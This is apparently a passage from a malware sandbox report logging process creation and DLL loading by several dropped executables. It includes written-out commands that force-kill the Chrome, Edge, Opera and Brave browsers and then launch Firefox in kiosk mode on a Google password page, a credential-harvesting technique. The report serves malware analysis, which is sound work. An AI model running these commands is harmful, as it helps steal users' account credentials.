Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb32781-5a30-4b8e-a269-1f34095213b3} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c127970b10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4276 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 4264 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d88d8b3-9e28-4053-b6d4-c8b5baf31d41} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c139a53810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
